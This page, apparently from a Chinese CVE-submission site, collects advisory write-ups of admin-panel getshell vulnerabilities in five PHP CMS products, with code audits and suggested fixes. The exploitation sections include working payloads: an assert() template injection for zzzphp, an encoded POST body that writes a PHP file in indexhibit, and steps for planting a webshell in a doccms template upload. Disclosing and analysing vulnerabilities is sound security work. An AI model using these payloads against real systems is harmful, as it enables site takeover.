CVE中文申请站

CVE-2019-12861:蝉知CMS7.0.1后台可Getshell

一、漏洞摘要

漏洞名称: 蝉知CMS7.0.1后台可Getshell
上报日期: 2019-05-30
漏洞发现者: fucsec
产品首页: https://www.chanzhi.org/
软件链接: https://www.chanzhi.org/download/chanzhi7.0.1-332.html
版本: V7.0.1
CVE编号: CVE-2019-12861


二、漏洞概述

蝉知企业门户系统是由业内资深开发团队开发的一款专向企业营销使用的企业门户系统,企业使用蝉知系统可以非常方便地搭建一个专业的企业营销网站。
可通过“登陆后台->设计->编辑模板”的方式getshell。

三、利用方法

首先登录后台,选择设计,编辑模板
1.png
其次,保存后用Burp改包,修改content内容,并利用文件跳转到header文件,如下
2.png
最后直接getshell
3.png
漏洞审计:
漏洞所在文件:systemmoduleuicontrol.php(在后台模板编辑)

漏洞文件代码:(只贴上相关代码)

4.png
首先我们看第788行,$template = $this->config->template->{$this->app->clientDevice}->name;这里代表获取他自己对象中的config属性中的template对象中的{$this->app->clientDevice}对象中的name属性,可以这样理解这里只是获取他的默认模块。我们看看第791行if($_POST)判断$_POST是不是上传,如果是则进入区间。第793行$canManage = array('result' => 'success');创建一个数组,if(!$this->loadModel('guarder')->verify()) $canManage = $this->loadModel('common')->verifyAdmin();这里可以看到if判断是否已经上传过他要求的目录,如果为true那么他就不会去调用验证区间直接跳到第795行。if($canManage['result'] != 'success')如果验证不通过他就会提示需要创建文件,就不会走下下面的区间。我们在看看第796行$result = $this->ui->writeViewFile($template, $this->post->module, $this->post->file);,这里一看就是进入其他区间的,我们追下这个方法在那个地方。
5.png
路径:systemmoduleuimodel.php
第1523行public function writeViewFile($template, $module, $file),public代表公共方法,第1525行$file = $this->getExtFile($template, $module, $file);,他这里又调用一次当前文件中的getExtFile方法。
6.png
这里可以看到他这里只是简单输出个路径,无视他。回到第二张图片,第1526行$filePath = dirname($file);,这里代表返回路径中的目录部分,第1527行,if(!is_dir($filePath)) mkdir($filePath, 0777, true);判断文件夹是否存在,如果不存在则创建文件夹并赋值777权限。第1528行和第1529行是定义一个数组,第1530行$content = str_replace($gibbedEvils, $evils, $this->post->content);,代表字符串替换,其实他这里写错了不应该这样写的,可以看到他这个$gibbedEvils数组把危险函数用空格来隔开,这样肯定不可以运行的,这个没有问题。那么我们在看看第二个数组$evils,这里的危险函数是可以直接运行的,但是呢,他字符串替换的时候把两个数组搞反了,这样就导致用户端直接上传木马。第1532行if(function_exists('get_magic_quotes_gpc') and get_magic_quotes_gpc()) $content = stripslashes($content);,第一个判断是判断他是否有这个自定义变量,并且get_magic_quotes_gpc()函数是否开启,如果这两个条件满足则使用stripslashes去掉反斜杠函数。第1533行就是写入文件了$result = file_put_contents($file, $content);。让我们在回到第一张图片。第797行if($result) $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess, 'locate' => inlink('editTemplate', "moduel=$module&file=$file")));,这里判断成功则提示个信息,如果不成功则返回失败信息$this->send(array('result' => 'fail', 'message' => $this->lang->fail));。
漏洞修复:
路径:systemmoduleuimodel.php.php
在1524行下面添加个basename,返回路径中的文件名,然后在第1530行加2个值,第一个是过滤<?php,为啥说过滤<?php呢?因为如果你要运行php必须加上标准的不然真个php代码是运行不起来的。然后在使用strtolower函数,强制吧英文大写转换成小写在做处理,这样不管你是大小写来写的字我都过滤掉。
7.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/236/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12861
exploit-db:发布中

CVE-2019-9041:zzzphp V1.6.1 动态代码执行

一、漏洞摘要

漏洞名称: zzzphp V1.6.1 动态代码执行(dynamic code evaluation/ code injection)
上报日期: 2019-02-22
漏洞发现者: Yang Chenglong
产品首页: http://www.zzzcms.com/index.html
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.6.1
CVE编号: CVE-2019-9041


二、漏洞概述

Zzzphp cms的代码中,搜索页面对搜索模版的解析过滤不严,导致在后台更改的代码中可以带入php代码造成代码执行。
在/search/index.php中
第二行

require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

跟踪到/inc/zzz_client.php中
第136行至140行

elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
        $zcontent = load_file($tplfile,$location);    
        $parser = new ParserTemplate();
        $zcontent = $parser->parserCommom($zcontent); // 解析模板
        echo $zcontent; 

继续跟踪到/inc/zzz_template.php中对ParserTemplate()的定义
第23行:

        $zcontent = $this->parserIfLabel( $zcontent ); // IF语句

接着跟踪到/inc/zzz_template.php中对parserIfLabel()的定义
第2192到2213行:

        $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
        if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
                       $count = count( $matches[ 0 ] );
               for ( $i = 0; $i < $count; $i++ ) {
                       $flag = '';
                       $out_html = '';
                       $ifstr = $matches[ 1 ][ $i ];
                       $ifstr = str_replace( '<>', '!=', $ifstr );
                       $ifstr = str_replace( 'mod', '%', $ifstr );
                       $ifstr1 = cleft( $ifstr, 0, 1 );
                       switch ( $ifstr1 ) {
                               case '=':
                                       $ifstr = '0' . $ifstr;
                                       break;
                               case '{':
                               case '[':
                                       $ifstr = "'" . str_replace( "=", "'=", $ifstr );
                                       break;
                       }
                       $ifstr = str_replace( '=', '==', $ifstr );
                       $ifstr = str_replace( '===', '==', $ifstr );
                       @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
 

$ifstr经过一系列过滤最后进入eval函数,造成了代码执行。

三、利用方法

后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑
在模版中添加{if:assert($_POST[x])}phpinfo();{end if} 保存
访问 http://webroot/search/
post数据: x = phpinfo(); 即可执行代码。
1.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/118/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9041
exploit-db:发布中

CVE-2019-9042:Sitemagic CMS v4.4后台未过滤直接上传php导致getshell

一、漏洞摘要

漏洞名称: Sitemagic CMS v4.4后台未过滤直接上传php导致getshell
上报日期: 2019-02-22
漏洞发现者: yc(3365487579@qq.com)
产品首页: https://sitemagic.org/
软件链接: https://sitemagic.org/Download.html(https://github.com/Jemt/SitemagicCMS)
版本: v4.4
CVE编号: CVE-2019-9042


二、漏洞概述

Sitemagic CMS v4.4后台未过滤直接上传php导致getshell。

三、利用方法

poc:
当我们登录进后台后,来到图片管理/index.php?SMExt=SMFiles
1.png
发现能直接上传成功php文件
2.png


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/116/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9042
exploit-db:发布中

CVE-2019-8954:indexhibit cms v2.1.5 直接编辑php文件getshell

一、漏洞摘要

漏洞名称: indexhibit cms v2.1.5 直接编辑php文件getshell
上报日期: 2019-02-20
漏洞发现者: yc(3365487579@qq.com)
产品首页: https://www.indexhibit.org/
软件链接: https://www.indexhibit.org/
版本: v2.1.5
CVE编号: CVE-2019-8954


二、漏洞概述

indexhibit CMS 2.1.5版本存在一个直接编辑php文件的漏洞,导致getshell。

三、利用方法

poc:
当我们登录进后台后,向/ndxzstudio/?a=system
post数据:
upd_jxcode=true&v=%253C%253Fphp%2520phpinfo()%253B%253F%253E&id=%2Fcss%2Faudio.php
即可在/css/目录写入一个php文件audio.php。
1.png

2.png


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/112/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8954
exploit-db:发布中

CVE-2018-18835:doccms 2016.5.12 后台模板getshell

一、漏洞摘要

漏洞名称: doccms后台模板getshell
上报日期: 2018-10-27
漏洞发现者: kr1sten
产品首页: http://www.doccms.com/
软件链接: http://www.doccms.com/?p=40
版本: 2016.5.12[正式版]
CVE编号: CVE-2018-18835


二、漏洞概述

后台模板上传位置 未检查上传内部的代码 导致getshell。

三、利用方法

登录后台发现后台具有上传功能,且限定了格式。
1.png

首先找到自带的模板的位置,然后复制一份改个名字,打包成压缩文件再上传的时候进行抓包 看其调用的方法,可以看到 burp抓取到的数据包已经显示出来了,从其中可以看到他调用了system文件夹下的changeskin.php这个文件的upload_template函数,于是我们定位到这个函数 看看他的代码是怎么样的逻辑。
4.png
5.png
从第八行开始到第三十一行之间 就是处理上传模板这个功能的代码逻辑,分析一下:
6.png

15-16行就是定义一个临时的保存路径:
7.png

17-29行,第一个if判断是不是一个zip文件,如果是文件就进入真区间进行下一步的判断,然后进行解压 如果解压成功就安装成功否则失败,如果不是zip文件就提示上传失败 最后重定向回模板管理的页面。代码中有一点没考虑到,只是判断是不是zip文件,并没有判断文件里面是不是有某些威胁的存在。于是可以在模板文件里面构造攻击代码,比如写一个一句话木马或者直接在模板文件的某php文件里面写入一句话木马代码。比如在原先的模板文件里面新建一个文件夹 此处叫做test文件夹,在里面新建一个php文件,写入<?php phpinfo();?> 然后在进行打包上传。
8.png
上传成功后,点击一下“应用到pc站” 然后去前台看效果。
10.png

直接访问模板url地址返回403错误码,说明模板目录访问权限控制。
11.png
通过修改原来模板文件里的index.php代码,比如在最前面加上一句phpinfo的代码,再重复上传-应用的步骤,前台效果如下:
12.png

代码成功的被执行了,换成一句话木马代码上传并应用,再用菜刀进行连接,如下:
14.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/65/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18835
exploit-db:发布中